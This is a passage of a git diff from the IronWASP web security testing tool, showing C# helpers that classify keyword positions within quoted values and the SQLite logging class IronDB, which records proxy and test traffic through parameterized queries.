(Values[i].IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + QuoteType = GetQuoteType(Values[i]); + Contexts.Add(string.Format("Value-Normal-{0}-{1}", GetPosition(TrimQuote(Values[i], QuoteType), Keyword), QuoteType)); + if (Values.Count == 1) + { + Contexts.Add(string.Format("Value-OnlyNormal-{0}-{1}", GetPosition(TrimQuote(Values[i], QuoteType), Keyword), QuoteType)); + } + } + } + } + return Contexts; + } + + static string CheckQuoteStatus(string CurrentChar, bool InQuote, string CurrentQuote, bool IsEscaped) + { + if (IsEscaped) return "None"; + if (InQuote) + { + if (CurrentChar == CurrentQuote) + return "End"; + else + return "None"; + } + else + { + return "Start"; + } + } + + static string GetQuoteType(string Value) + { + Value = Value.Trim(); + string Quote = ""; + if (Value.StartsWith("\"")) + { + Quote = "Double"; + + } + else if (Value.StartsWith("'")) + { + Quote = "Single"; + } + else + { + Quote = "None"; + } + return Quote; + } + + static string TrimQuote(string Value, string Quote) + { + if (Quote.Equals("Double")) + { + Value = Value.Trim().Trim('"').Trim(); + } + else if (Quote.Equals("Single")) + { + Value = Value.Trim().Trim('\'').Trim(); + } + return Value.Trim(); + } + + static string GetPosition(string Value, string Keyword) + { + string Position = ""; + if (Value.Equals(Keyword, StringComparison.OrdinalIgnoreCase)) + { + Position = "Full"; + } + else if (Value.StartsWith(Keyword, StringComparison.OrdinalIgnoreCase)) + { + Position = "Start"; + } + else if (Value.EndsWith(Keyword, StringComparison.OrdinalIgnoreCase)) + { + Position = "End"; + } + else if (Value.IndexOf(Keyword, StringComparison.OrdinalIgnoreCase) > -1) + { + Position = "In"; + } + return Position; + } + } +} diff --git a/IronWASP/IronDB.cs b/Iron/IronDB.cs similarity index 91% rename from IronWASP/IronDB.cs rename to Iron/IronDB.cs index 89eeb1b..32a0435 100644 --- a/IronWASP/IronDB.cs +++ b/Iron/IronDB.cs @@ -1,4561 +1,4946 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.Data.SQLite; -using System.Text; -using System.IO; -using System.Threading; - - -namespace IronWASP -{ - public class IronDB - { - internal static string LogPath = ""; - internal static string IronProjectFile = ""; - internal static string ProxyLogFile = ""; - internal static string TestLogFile = ""; - internal static string ShellLogFile = ""; - internal static string ProbeLogFile = ""; - internal static string ScanLogFile = ""; - internal static string PluginResultsLogFile = ""; - internal static string ExceptionsLogFile = ""; - internal static string TraceLogFile = ""; - internal static string ConfigFile = Config.RootDir + "\\IronConfig.exe"; - - internal static StreamWriter CommandsLogFile; - - - internal static void LogMTRequest(Request Request) - { - using (SQLiteConnection MT_DB = new SQLiteConnection("data source=" + TestLogFile)) - { - MT_DB.Open(); - using (SQLiteCommand Cmd = MT_DB.CreateCommand()) - { - Cmd.CommandText = "INSERT INTO TestLog (ID, SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID, @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", Request.ID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(Request.SSL)); - Cmd.Parameters.AddWithValue("@HostName", Request.Host); - Cmd.Parameters.AddWithValue("@Method", Request.Method); - Cmd.Parameters.AddWithValue("@URL", Request.URL); - Cmd.Parameters.AddWithValue("@File", Request.File); - Cmd.Parameters.AddWithValue("@Parameters", Request.GetParametersString()); - //Cmd.Parameters.AddWithValue("@RequestHeaders", Request.GetHeadersAsStringWithoutFullURL()); - Cmd.Parameters.AddWithValue("@RequestHeaders", Request.GetHeadersAsString()); - if (Request.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", Request.BinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", Request.BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", Request.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Request.IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - } - } - internal static void LogMTResponse(Response Response) - { - using (SQLiteConnection MT_DB = new SQLiteConnection("data source=" + TestLogFile)) - { - MT_DB.Open(); - using (SQLiteCommand Cmd = MT_DB.CreateCommand()) - { - Cmd.CommandText = "UPDATE TestLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@Code", Response.Code); - Cmd.Parameters.AddWithValue("@Length", Response.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", Response.ContentType); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Response.SetCookies.Count > 0))); - Cmd.Parameters.AddWithValue("@ResponseHeaders", Response.GetHeadersAsString()); - if (Response.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", Response.BinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", Response.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", Response.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Response.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", Response.RoundTrip); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.Parameters.AddWithValue("@ID", Response.ID); - Cmd.ExecuteNonQuery(); - } - } - } - - //internal static void AddToTestGroup(int ID, string Group) - //{ - // SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile); - // string CMD = ""; - // switch(Group) - // { - // case("Red"): - // CMD = "INSERT INTO TestGroups (Red, Green, Blue, Gray, Brown) VALUES (@ID,0,0,0,0)"; - // break; - // case ("Green"): - // CMD = "INSERT INTO TestGroups (Red, Green, Blue, Gray, Brown) VALUES (0,@ID,0,0,0)"; - // break; - // case ("Blue"): - // CMD = "INSERT INTO TestGroups (Red, Green, Blue, Gray, Brown) VALUES (0,0,@ID,0,0)"; - // break; - // case ("Gray"): - // CMD = "INSERT INTO TestGroups (Red, Green, Blue, Gray, Brown) VALUES (0,0,0,@ID,0)"; - // break; - // case ("Brown"): - // CMD = "INSERT INTO TestGroups (Red, Green, Blue, Gray, Brown) VALUES (0,0,0,0,@ID)"; - // break; - // } - // DB.Open(); - // try - // { - // SQLiteCommand Cmd = DB.CreateCommand(); - // Cmd.CommandText = CMD; - // Cmd.Parameters.AddWithValue("@ID", ID); - // Cmd.ExecuteNonQuery(); - // } - // catch (Exception Exp) - // { - // DB.Close(); - // throw Exp; - // } - // DB.Close(); - //} - - internal static void AddToTestGroup(int ID, string Group) - { - using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) - { - string CMD = "INSERT INTO TestGroups (Name, ID) VALUES (@Name, @ID)"; - DB.Open(); - using (SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = CMD; - Cmd.Parameters.AddWithValue("@Name", Group); - Cmd.Parameters.AddWithValue("@ID", ID); - Cmd.ExecuteNonQuery(); - } - } - } - - //internal static void ClearGroup(string Group) - //{ - // SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile); - // string CMD = ""; - // switch (Group) - // { - // case ("Red"): - // CMD = "UPDATE TestGroups SET Red=0"; - // break; - // case ("Blue"): - // CMD = "UPDATE TestGroups SET Blue=0"; - // break; - // case ("Green"): - // CMD = "UPDATE TestGroups SET Green=0"; - // break; - // case ("Gray"): - // CMD = "UPDATE TestGroups SET Gray=0"; - // break; - // case ("Brown"): - // CMD = "UPDATE TestGroups SET Brown=0"; - // break; - // } - // DB.Open(); - // try - // { - // SQLiteCommand Cmd = DB.CreateCommand(); - // Cmd.CommandText = CMD; - // Cmd.ExecuteNonQuery(); - // } - // catch (Exception Exp) - // { - // DB.Close(); - // throw Exp; - // } - // DB.Close(); - //} - - internal static void ClearGroup(string Group) - { - using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) - { - string CMD = "DELETE FROM TestGroups WHERE Name=@Name"; - DB.Open(); - using (SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = CMD; - Cmd.Parameters.AddWithValue("@Name", Group); - Cmd.ExecuteNonQuery(); - } - } - } - - internal static void RenameGroup(string OldGroup, string NewGroup) - { - using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) - { - string CMD = "UPDATE TestGroups SET Name=@NewName WHERE Name=@OldName"; - DB.Open(); - using (SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = CMD; - Cmd.Parameters.AddWithValue("@OldName", OldGroup); - Cmd.Parameters.AddWithValue("@NewName", NewGroup); - Cmd.ExecuteNonQuery(); - } - } - } - - //internal static void LoadTestGroups() - //{ - // SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile); - - // List RedGroup = new List(); - // List BlueGroup = new List(); - // List GreenGroup = new List(); - // List GrayGroup = new List(); - // List BrownGroup = new List(); - - // DB.Open(); - // try - // { - // SQLiteCommand Cmd = DB.CreateCommand(); - // Cmd.CommandText = "SELECT Red, Green, Blue, Gray, Brown FROM TestGroups"; - // SQLiteDataReader result = Cmd.ExecuteReader(); - // while (result.Read()) - // { - // try - // { - // int Red = Int32.Parse(result["Red"].ToString()); - // if (Red != 0) RedGroup.Add(Red); - // }catch { } - // try - // { - // int Green = Int32.Parse(result["Green"].ToString()); - // if (Green != 0) GreenGroup.Add(Green); - // } - // catch { } - // try - // { - // int Blue = Int32.Parse(result["Blue"].ToString()); - // if (Blue != 0) BlueGroup.Add(Blue); - // } - // catch { } - // try - // { - // int Gray = Int32.Parse(result["Gray"].ToString()); - // if (Gray != 0) GrayGroup.Add(Gray); - // } - // catch { } - // try - // { - // int Brown = Int32.Parse(result["Brown"].ToString()); - // if (Brown != 0) BrownGroup.Add(Brown); - // } - // catch { } - // } - // RedGroup.Sort(); BlueGroup.Sort(); GreenGroup.Sort(); GrayGroup.Sort(); BrownGroup.Sort(); - // foreach (int ID in RedGroup) - // { - // try - // { - // Session Irse = Session.FromTestLog(ID); - // ManualTesting.RedGroupSessions.Add(ID, Irse); - // ManualTesting.RedGroupID = ID; - // } - // catch { } - // } - // foreach (int ID in BlueGroup) - // { - // try - // { - // Session Irse = Session.FromTestLog(ID); - // ManualTesting.BlueGroupSessions.Add(ID, Irse); - // ManualTesting.BlueGroupID = ID; - // } - // catch { } - // } - // foreach (int ID in GreenGroup) - // { - // try - // { - // Session Irse = Session.FromTestLog(ID); - // ManualTesting.GreenGroupSessions.Add(ID, Irse); - // ManualTesting.GreenGroupID = ID; - // } - // catch { } - // } - // foreach (int ID in GrayGroup) - // { - // try - // { - // Session Irse = Session.FromTestLog(ID); - // ManualTesting.GrayGroupSessions.Add(ID, Irse); - // ManualTesting.GrayGroupID = ID; - // } - // catch { } - // } - // foreach (int ID in BrownGroup) - // { - // try - // { - // Session Irse = Session.FromTestLog(ID); - // ManualTesting.BrownGroupSessions.Add(ID, Irse); - // ManualTesting.BrownGroupID = ID; - // } - // catch { } - // } - // } - // catch (Exception Exp) - // { - // DB.Close(); - // throw Exp; - // } - // DB.Close(); - //} - - internal static void LoadTestGroups() - { - Dictionary> Groups = new Dictionary>(); - - using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) - { - DB.Open(); - using (SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = "SELECT Name, ID FROM TestGroups"; - using (SQLiteDataReader result = Cmd.ExecuteReader()) - { - while (result.Read()) - { - try - { - int ID = Int32.Parse(result["ID"].ToString()); - string Group = result["Name"].ToString(); - if (ID != 0) - { - if (!Groups.ContainsKey(Group)) - Groups[Group] = new List(); - Groups[Group].Add(ID); - } - } - catch { } - } - } - } - } - - Dictionary> GroupSessions = new Dictionary>(); - Dictionary CurrentGroupLogId = new Dictionary(); - foreach (string Group in Groups.Keys) - { - Groups[Group].Sort(); - foreach (int ID in Groups[Group]) - { - Session Irse = Session.FromTestLog(ID); - if (!GroupSessions.ContainsKey(Group)) - GroupSessions[Group] = new Dictionary(); - GroupSessions[Group][ID] = Irse; - - CurrentGroupLogId[Group] = ID; - } - } - lock (ManualTesting.GroupSessions) - { - ManualTesting.GroupSessions = new Dictionary>(GroupSessions); - } - lock (ManualTesting.CurrentGroupLogId) - { - ManualTesting.CurrentGroupLogId = new Dictionary(CurrentGroupLogId); - } - } - - #region LogRequestResponses - internal static void LogProxyMessages(List IronSessions, List Requests, List Responses, List OriginalRequests, List OriginalResponses, List EditedRequests, List EditedResponses) - { - using (SQLiteConnection Log = new SQLiteConnection("data source=" + ProxyLogFile)) - { - Log.Open(); - using (SQLiteTransaction InsertLogs = Log.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(Log)) - { - //Insert Request/Response in to DB - foreach (Session IrSe in IronSessions) - { - Cmd.CommandText = "INSERT INTO ProxyLog (ID , SSL, HostName, Method, URL, Edited, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, OriginalRequestHeaders, OriginalRequestBody, BinaryOriginalRequest, Code, Length, MIME, SetCookie, ResponseHeaders, ResponseBody, BinaryResponse, OriginalResponseHeaders, OriginalResponseBody, BinaryOriginalResponse, RoundTrip, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @Edited, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @OriginalRequestHeaders, @OriginalRequestBody, @BinaryOriginalRequest, @Code, @Length, @MIME, @SetCookie, @ResponseHeaders, @ResponseBody, @BinaryResponse, @OriginalResponseHeaders, @OriginalResponseBody, @BinaryOriginalResponse, @RoundTrip, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", IrSe.Request.ID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(IrSe.Request.SSL)); - Cmd.Parameters.AddWithValue("@HostName", IrSe.Request.Host); - Cmd.Parameters.AddWithValue("@Method", IrSe.Request.Method); - Cmd.Parameters.AddWithValue("@URL", IrSe.Request.URL); - Cmd.Parameters.AddWithValue("@Edited", AsInt((IrSe.OriginalRequest != null) || (IrSe.OriginalResponse != null))); - Cmd.Parameters.AddWithValue("@File", IrSe.Request.StoredFile); - Cmd.Parameters.AddWithValue("@Parameters", IrSe.Request.StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.GetHeadersAsString());//IrSe.Request.GetHeadersAsStringWithoutFullURL()); - Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.StoredHeadersString); - if (IrSe.Request.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(IrSe.Request.IsBinary)); - if (IrSe.OriginalRequest != null) - { - //Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", IrSe.OriginalRequest.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", IrSe.OriginalRequest.StoredHeadersString); - if (IrSe.OriginalRequest.IsBinary) - Cmd.Parameters.AddWithValue("@OriginalRequestBody", IrSe.OriginalRequest.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@OriginalRequestBody", IrSe.OriginalRequest.BodyString); - //Cmd.Parameters.AddWithValue("@OriginalRequestBody", IrSe.OriginalRequest.BodyString); - Cmd.Parameters.AddWithValue("@BinaryOriginalRequest", AsInt(IrSe.OriginalRequest.IsBinary)); - } - else - { - Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", ""); - Cmd.Parameters.AddWithValue("@OriginalRequestBody", ""); - Cmd.Parameters.AddWithValue("@BinaryOriginalRequest", 0); - } - - Cmd.Parameters.AddWithValue("@Code", IrSe.Response.Code); - Cmd.Parameters.AddWithValue("@Length", IrSe.Response.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", IrSe.Response.ContentType); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((IrSe.Response.SetCookies.Count > 0))); - //Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.StoredHeadersString); - if (IrSe.Response.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(IrSe.Response.IsBinary)); - if (IrSe.OriginalResponse != null) - { - //Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", IrSe.OriginalResponse.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", IrSe.OriginalResponse.StoredHeadersString); - if (IrSe.OriginalResponse.IsBinary) - Cmd.Parameters.AddWithValue("@OriginalResponseBody", IrSe.OriginalResponse.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@OriginalResponseBody", IrSe.OriginalResponse.BodyString); - //Cmd.Parameters.AddWithValue("@OriginalResponseBody", IrSe.OriginalResponse.BodyString); - Cmd.Parameters.AddWithValue("@BinaryOriginalResponse", AsInt(IrSe.OriginalResponse.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.OriginalResponse.RoundTrip); - } - else - { - Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", "");//IrSe.Response.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@OriginalResponseBody", "");//IrSe.Response.BodyString); - Cmd.Parameters.AddWithValue("@BinaryOriginalResponse", 0); - Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.Response.RoundTrip); - } - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Request Req in Requests) - { - Cmd.CommandText = "INSERT INTO ProxyLog (ID , SSL, HostName, Method, URL, Edited, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @Edited, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", Req.ID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); - Cmd.Parameters.AddWithValue("@HostName", Req.Host); - Cmd.Parameters.AddWithValue("@Method", Req.Method); - Cmd.Parameters.AddWithValue("@URL", Req.URL); - Cmd.Parameters.AddWithValue("@Edited", 0); - //Cmd.Parameters.AddWithValue("@File", Req.File); - Cmd.Parameters.AddWithValue("@File", Req.StoredFile); - Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); - if (Req.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Response Res in Responses) - { - Cmd.CommandText = "UPDATE ProxyLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, Edited=@Edited, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@Code", Res.Code); - Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); - Cmd.Parameters.AddWithValue("@Edited", 0); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); - //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); - if (Res.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.Parameters.AddWithValue("@ID", Res.ID); - Cmd.ExecuteNonQuery(); - } - foreach (Request Req in OriginalRequests) - { - Cmd.CommandText = "UPDATE ProxyLog SET Edited=@Edited, OriginalRequestHeaders=@OriginalRequestHeaders, OriginalRequestBody=@OriginalRequestBody, BinaryOriginalRequest=@BinaryOriginalRequest, Notes=@Notes WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@ID", Req.ID); - //Cmd.Parameters.AddWithValue("@File", Req.File); - Cmd.Parameters.AddWithValue("@Edited", 1); - //Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", Req.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", Req.StoredHeadersString); - if (Req.IsBinary) - Cmd.Parameters.AddWithValue("@OriginalRequestBody", Req.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@OriginalRequestBody", Req.BodyString); - //Cmd.Parameters.AddWithValue("@OriginalRequestBody", Req.BodyString); - Cmd.Parameters.AddWithValue("@BinaryOriginalRequest", AsInt(Req.IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Response Res in OriginalResponses) - { - Cmd.CommandText = "UPDATE ProxyLog SET Edited=@Edited, OriginalResponseHeaders=@OriginalResponseHeaders, OriginalResponseBody=@OriginalResponseBody, BinaryOriginalResponse=@BinaryOriginalResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@Edited", 1); - //Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", Res.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", Res.StoredHeadersString); - if (Res.IsBinary) - Cmd.Parameters.AddWithValue("@OriginalResponseBody", Res.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@OriginalResponseBody", Res.BodyString); - //Cmd.Parameters.AddWithValue("@OriginalResponseBody", Res.BodyString); - Cmd.Parameters.AddWithValue("@BinaryOriginalResponse", AsInt(Res.IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.Parameters.AddWithValue("@ID", Res.ID); - Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); - Cmd.ExecuteNonQuery(); - } - foreach (Request Req in EditedRequests) - { - Cmd.CommandText = "UPDATE ProxyLog SET SSL=@SSL, HostName=@HostName, Method=@Method, URL=@URL, Edited=@Edited, File=@File, Parameters=@Parameters, RequestHeaders=@RequestHeaders, RequestBody=@RequestBody, BinaryRequest=@BinaryRequest, Notes=@Notes WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@ID", Req.ID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); - Cmd.Parameters.AddWithValue("@HostName", Req.Host); - Cmd.Parameters.AddWithValue("@Method", Req.Method); - Cmd.Parameters.AddWithValue("@URL", Req.URL); - Cmd.Parameters.AddWithValue("@Edited", 1); - //Cmd.Parameters.AddWithValue("@File", Req.File); - Cmd.Parameters.AddWithValue("@File", Req.StoredFile); - Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); - if (Req.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Response Res in EditedResponses) - { - Cmd.CommandText = "UPDATE ProxyLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, Edited=@Edited, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, Notes=@Notes WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@Code", Res.Code); - Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); - Cmd.Parameters.AddWithValue("@Edited", 1); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); - //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); - if (Res.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.Parameters.AddWithValue("@ID", Res.ID); - Cmd.ExecuteNonQuery(); - } - } - InsertLogs.Commit(); - } - } - } - - internal static void LogProxyMessages(List RequestArrs, List ResponseArrs) - { - using (SQLiteConnection Log = new SQLiteConnection("data source=" + ProxyLogFile)) - { - Log.Open(); - using (SQLiteTransaction InsertLogs = Log.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(Log)) - { - foreach (Request[] ReqArr in RequestArrs) - { - Cmd.CommandText = "INSERT INTO ProxyLog (ID , SSL, HostName, Method, URL, Edited, File, Parameters, OriginalRequestHeaders, OriginalRequestBody, BinaryOriginalRequest, RequestHeaders, RequestBody, BinaryRequest, Edited, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @Edited, @File, @Parameters, @OriginalRequestHeaders, @OriginalRequestBody, @BinaryOriginalRequest, @RequestHeaders, @RequestBody, @BinaryRequest, @Edited, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", ReqArr[1].ID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(ReqArr[1].SSL)); - Cmd.Parameters.AddWithValue("@HostName", ReqArr[1].Host); - Cmd.Parameters.AddWithValue("@Method", ReqArr[1].Method); - Cmd.Parameters.AddWithValue("@URL", ReqArr[1].URL); - //Cmd.Parameters.AddWithValue("@File", Req.File); - Cmd.Parameters.AddWithValue("@File", ReqArr[1].StoredFile); - Cmd.Parameters.AddWithValue("@Parameters", ReqArr[1].StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@RequestHeaders", ReqArr[1].StoredHeadersString); - if (ReqArr[1].IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", ReqArr[1].StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", ReqArr[1].BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(ReqArr[1].IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - - if (ReqArr[0] == null) - { - Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", ""); - Cmd.Parameters.AddWithValue("@OriginalRequestBody", ""); - Cmd.Parameters.AddWithValue("@BinaryOriginalRequest", 0); - Cmd.Parameters.AddWithValue("@Edited", 0); - } - else - { - Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", ReqArr[0].StoredHeadersString); - if (ReqArr[0].IsBinary) - Cmd.Parameters.AddWithValue("@OriginalRequestBody", ReqArr[0].StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@OriginalRequestBody", ReqArr[0].BodyString); - Cmd.Parameters.AddWithValue("@BinaryOriginalRequest", AsInt(ReqArr[0].IsBinary)); - Cmd.Parameters.AddWithValue("@Edited", 1); - } - - Cmd.ExecuteNonQuery(); - } - - foreach (Response[] ResArr in ResponseArrs) - { - Cmd.CommandText = "UPDATE ProxyLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, OriginalResponseHeaders=@OriginalResponseHeaders, OriginalResponseBody=@OriginalResponseBody, BinaryOriginalResponse=@BinaryOriginalResponse, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, Notes=@Notes WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@Code", ResArr[1].Code); - Cmd.Parameters.AddWithValue("@Length", ResArr[1].BodyLength); - Cmd.Parameters.AddWithValue("@MIME", ResArr[1].ContentType); - Cmd.Parameters.AddWithValue("@Edited", 0); - Cmd.Parameters.AddWithValue("@SetCookie", 